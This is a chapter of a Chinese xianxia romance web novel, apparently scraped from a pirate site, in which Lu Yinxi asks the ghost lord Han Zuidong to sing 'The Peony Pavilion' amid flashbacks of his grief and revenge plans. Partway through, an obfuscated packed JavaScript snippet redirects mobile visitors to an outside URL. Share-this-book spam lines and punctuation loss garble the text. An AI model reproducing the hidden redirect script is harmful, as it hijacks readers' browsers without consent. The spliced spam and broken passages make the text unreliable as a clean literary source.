“……好。
寒醉冬开口,声音还有些哑。
可是他在笑,嘴角弯起了一个很新的弧度,说话有点磕磕绊绊的:“我、我现在就去换衣服……鹿饮溪,你等、等一会……
若是在第二个任务里面看见寒醉冬这副样子,鹿饮溪恐怕就要笑着调侃,让他当着自己的面换戏服了。
可惜现在二人重逢,情绪以及心境的复杂早就不是当年可比,而自己也再也没有了当年的那种心情,没有了对于当年寒醉冬的那股爱意。
说不出口,也没什么理由说出口。
如今这个念头在脑海里闪过,都已经是莫大的诧异。
寒醉冬撑着船板就站起来,动作有些急,船晃了一下,不知是因为刚才在鬼域外面的消耗,还是因为心情不定,这个堂堂大乘期大圆满的鬼尊,居然差点没站稳。
鹿饮溪连忙伸手拉住了他,手指扣着他的手腕,相贴的皮肤冰冰凉凉的,带着一股有点透骨的寒意。
“不用换,她说,“就这样唱,已经足够了。
寒醉冬低头看着鹿饮溪扣在自己手腕上的手指,又抬起头望着她,那双深蓝色的眼睛里有着小心翼翼以及一点期待,他说话结结巴巴的。
“那、那你想听什么?是不是想听……贵妃醉酒?
他看上去像是很紧张。
“我觉得……我、我唱这个,不换衣服……会不好看?
在第二个任务里,鹿饮溪的确有一段时间特别喜欢听寒醉冬唱贵妃醉酒,每次寒醉冬都会眼神亮晶晶的从储物戒里掏出那一套他师父给他留下的头面,格外华贵,雍容漂亮。
而寒醉冬本来就足够好看了,装扮上那一套头面,就更是……有点让人无法描述。
鹿饮溪直到现在都还记得那一件光彩照人的凤冠。
她抬头对上寒醉冬忐忑的视线,有点对修仙界世界观里人的审美产生怀疑了。
不好看?
是认真的吗?
为什么一个两个大帅哥,不管是寒醉冬还是花晚倦都觉得自己不好看。
他们两个的容貌放到前世的内娱里面简直就是降维打击,不开玩笑。
鹿饮溪甚至怀疑随便用手机拍张照片发到社交平台上面都能爆火,让自己接广告赚个盆满钵满
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
。
只要思维这么一歪鹿饮溪就没忍住开始思考一些其他的问题。
寒醉冬傀儡这么多可以操控这么多个帅哥那让他操控的傀儡全部都进娱乐圈里面演戏按照寒醉冬四舍五入就是2000年的演戏傀儡经验演技肯定非常有保障。
那得赚多少钱?又得给自己带来多少能看得过眼的电视剧甚至这些个傀儡演员还能一起演同一部剧那就是全员超级演技的大片了。
不敢想象有多好看。
系统里面的电视剧都是随机下载的鹿饮溪这些年挑挑拣拣能看得过去的电视剧都被看了许多遍而剩下的就是那些演技辣眼剧情也值得吐槽的电视剧她饱受折磨良久。
“……鹿饮溪?”
直到寒醉冬困惑的声音在自己耳畔响起鹿饮溪才从那种想象的状态中脱离出来有点心虚的挠了挠嘴角。
……救命啊为什么要在这么严峻的时候想这种事情?
而且寒醉冬很明显也不能回现代吧怎么就自顾自想象起来了?
鹿饮溪深吸一口气颇感无语。
但是经这么一想这么一打岔先前那种令人感到沉重的心情反而缓和了不少
寒醉冬的神情依然处在茫然与恐慌之中不明白为什么鹿饮溪会突然要自己唱戏在自己提出不换戏服不好看以后又发呆那么长一段时间。
他小心翼翼拉住鹿饮溪的袖子话语里带着试探:“……我、我现在就去换衣服?”
“就是就是我很久很久……都没有唱过戏了虽然还记得但是我……不确定自己还能不能唱好如果、如果不好听可以……原谅我吗?”
鹿饮溪摇了摇头拉住他看着那张洁白无瑕的脸庞瞧不出来流泪的痕迹轻轻叹了口气。
“我不听贵妃醉酒。”
寒醉冬愣在原地抿唇像是在迟疑这番话的真实意图。
“那……想听什么?”
……不听贵妃醉酒可是鹿饮溪之前分明最喜欢听这个最喜欢自己喊她那个称呼了。
不听贵妃醉酒那……听什么?
还是说鹿饮溪根本就不想听自己唱。
听说看这本书的人都是很幸运的,分享后你的运气会更棒
鹿饮溪顿了下。
“牡丹亭。”
如今这个世界虽然和自己原本所处的现代没有多大关系,但寒醉冬这本书的作者毕竟是个现代人,能写进小说里面的戏曲大多都是基于现代创作的,或者说压根不算创作,就是照搬搬了进来。
牡丹亭……
鹿饮溪还记得,当时寒醉冬在出于没有好感值他即将嗝屁的艰难困境下,朝着自己笨拙讨好的第一步,就是唱了这首戏曲。
寒醉冬像是也想起了这段回忆,愣在当场,黑色的长发被风吹起,几缕飘在脸侧,深蓝色的眼睛望着她,睫毛轻轻颤抖,嘴唇微张,像是有话要说,可什么话都说不出来。
“……牡丹亭。”
湖面上那些鬼域里唯一能够绽开的花朵在风里轻轻摇晃,黑色的水波一圈一圈荡开,寒醉冬的倒影碎在水里,很快又聚拢。
“怎么?难道你只想唱贵妃醉酒,不想唱这个牡丹亭了?”
鹿饮溪带着一点笑意刮了一下寒醉冬的鼻尖,把寒醉冬刮的浑身一颤,说话磕磕绊绊。
“我、我唱的。”
“你让我唱什么……我就想唱什么。”
他那双眼眸试探着朝鹿饮溪看来,也许还有点不明白,二人之间先前那令人紧绷的氛围,那让他无法回答的话题,为什么会突然跳到唱戏上来。
但……鹿饮溪想让自己干什么,自己就会干什么。
寒醉冬张开了嘴,些烂熟于心的词却卡在喉咙里,迟迟没能唱出来。
“原……”
嗓音干涩,状态远没有之前好,想来唱的,也肯定不会有先前好听。
可看着鹿饮溪专注望着自己的眼神,寒醉冬却还是忍不住眼眶泛酸。
太久没唱了。
自从、自从多年前那件刻骨铭心的事情发生以后,寒醉冬就再也没有唱过了。
很痛苦,很难过。
唱戏再也不是一件能令自己感到放松的事情,只要一有这个念头,只要一张口,就仿佛能看见鹿饮溪欢喜的脸,就仿佛能看见自己爱人在自己身旁度过的每一分每一秒。
这些记忆自然是快乐的,自然是令人开心的。
可,在鹿饮溪以那种方式离开自己以后,这些记忆,每一想起来,就无异于在自己的心口凌
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
迟。
好痛苦。
真的好痛苦啊。
只要一想起来,只要一回想,那些记忆就如同附骨之疽,深入骨髓,深入身上的每一寸皮肤。
一张口就会痛苦,一闭眼就会看见那笑颜。
他不唱了。
他再也不唱了。
泪水流淌,随后又下意识被修为抹去。
寒醉冬每天都蜷缩在净坛里,用自己的修为一次一次重复招魂。
一次失败,就会掉落一个境界。
可寒醉冬从来就没有过放弃这个念头。
身上的气息在净坛中,从大乘期一点一点跌落到练气,直到再也无法献祭,寒醉冬才会微微停顿下来。
只是因为翻阅古籍,看见连续招魂献祭成功率会大一些,寒醉冬就一次又一次跌落练气,修为再以一种常人难以理解的毅力和痛苦修炼到大乘期,然后再将自己的修为一股脑献祭进去。
这样的日子近乎麻木的重复,直到鬼域开始骚乱,直到在里面跪着,跪到天荒地老,把自己的一切全部都抛弃,也始终找不回哪怕一丝爱人的气息,寒醉冬,才带着几丝恍惚,开始一点一点重新制作傀儡,重新掌控混乱的鬼域,并且一点一点将其重新恢复到先前的样子。
寒醉冬真的要撑不住,真的快要再也撑不住了。
魂飞魄散就好了吧。
他真的很痛苦,招魂没有任何的结果,就代表着鹿饮溪也是这样,魂飞魄散,兴许只是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17476066|183286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
因为,当年少年意气,为了让自己安心的那个可笑誓言。
有多少次这个念头在心中闪过,有多少次这样的念头驱使着指尖扼上自己的脖颈。
可是,不行。
仇……
在恍惚意识到凭借自己再也没有能够唤回鹿饮溪的能力以后,这个字就一直浮荡在脑海里,成了寒醉冬这样浑浑噩噩“活
——活。
这个字,对于鬼修来说,也确实挺可笑的,可笑到可怜。
兴许在多年以前,在那个自己都快要忘掉的冬日,被所谓的家人凌辱至死后,寒醉冬就再也没有活过了。
因为遇到挚爱而燃起来的几分生机,也随着鹿饮溪的离开,而彻底消失。
活着吗。
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
兴许吧。
寒醉冬只有一个念头。
复仇。
可是很可笑。
鬼修是离不开鬼域的而自己所谓的“仇人”一直在仙域且行踪不定自己这个鬼尊要用什么办法才能找到仇人的消息并且在某天孤注一掷?
唯有适应。
鬼修适应灵气何其可笑的念头何其让人感到天方夜谭。
寒醉冬自然是不可能出去的一出去就会被彻底磨灭成灰。
可是傀儡可以。
他的傀儡一般可以离开鬼域100米的范围在其中坚持一炷香的时间
这只是没有加固过的傀儡。
寒醉冬做了许多尝试而这个尝试足足尝试了100多年的时间。
他发现只要从自己的灵魂上扯下来一块覆盖上去在给予傀儡一个大境界的修为。
这样就能够让傀儡在鬼域以外的任何地方自由活动只是过一段时间就会同样消失需要再派出一个傀儡去接应。
撑着鬼修身体的自然是灵魂灵魂的损伤不可逆若灵魂最后消散鬼修的下场就是魂飞魄散。
寒醉冬并不在乎。
他不在乎自己的灵魂只要在复仇成功之前有那么一点点灵魂撑着本体就足够了。
他试错了许多次修为又一次缓慢降低可又咬着牙重新修炼上来。
放出了很多个这样带着自己灵魂碎片的傀儡承担着自己一整个大境界修为的傀儡寒醉冬才终于找到了机会让傀儡进入药王谷。
药王谷是那名大长老唯一可能会有消息的地方。
忍受着灵魂逐渐的虚弱寒醉冬每天都在努力修炼好有修为供给给傀儡去打探消息同时又用傀儡保持着鬼域的正常。
照这样下去估计再过不了几百年寒醉冬就会因为自己灵魂的逐渐虚弱而魂飞魄散。
好在上天在寒醉冬快要看不到希望的时候给了最后一点微妙的善意。
……是善意吗。
失而复得可最后终究还要失去还是会因为二人之间身份的差距一个人被困在这里。
这样是善意还是更大的绝望?
听说看这本书的人都是很幸运的,分享后你的运气会更棒
寒醉冬分不清。
但至少现在,看着鹿饮溪那双含着温柔的眼眸,寒醉冬不想分清。
“原来姹紫嫣红开遍——”
一个开头卡了许久,总算是从喉咙里卡了出来。
声音带着一点试探,一点不确定,每一个字都小心翼翼。
他的声色是极好的,这一点鹿饮溪从很早之前就知道了。
清冽如深涧里的泉水,婉转处自带一段风流,是唱戏的好料子,天生的。
可寒醉冬太久没唱了,好像连词都有些遗忘。
“似这般都付与……付与……”
他卡顿了片刻。
鹿饮溪握着他的手,垂眸。
“你还是唱的这么好听。”
声音很轻,也带着几分恍惚。
“……断井颓垣。”
这几个字,寒醉冬唱得有些急,尾音收得不够圆润,微微发颤,反倒添了几分说不清的滋味。
他红了眼眶,没再唱下去。
“……好听吗?”
鹿饮溪拍拍他的脑袋,神情柔和。
“嗯。”
“好听,比从前,还要好听。”